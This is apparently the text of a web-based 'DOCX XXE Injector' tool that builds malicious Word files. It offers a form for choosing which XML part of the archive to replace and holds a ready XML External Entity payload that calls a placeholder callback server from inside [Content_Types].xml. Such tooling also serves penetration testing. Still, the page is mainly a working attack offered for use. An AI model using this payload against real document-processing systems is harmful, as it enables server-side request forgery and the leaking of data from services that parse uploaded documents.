DOCX XXE Injector

Injection Point * [Content_Types].xml word/document.xml

Which XML file inside the DOCX archive to replace with your payload.

XML Payload * <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://YOUR-CALLBACK-SERVER/xxe"> ]> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <!-- &xxe; --> </Types>

Complete XML content for the target file. This replaces the entire content of the selected injection point.

Upload file (optional)

Base64 output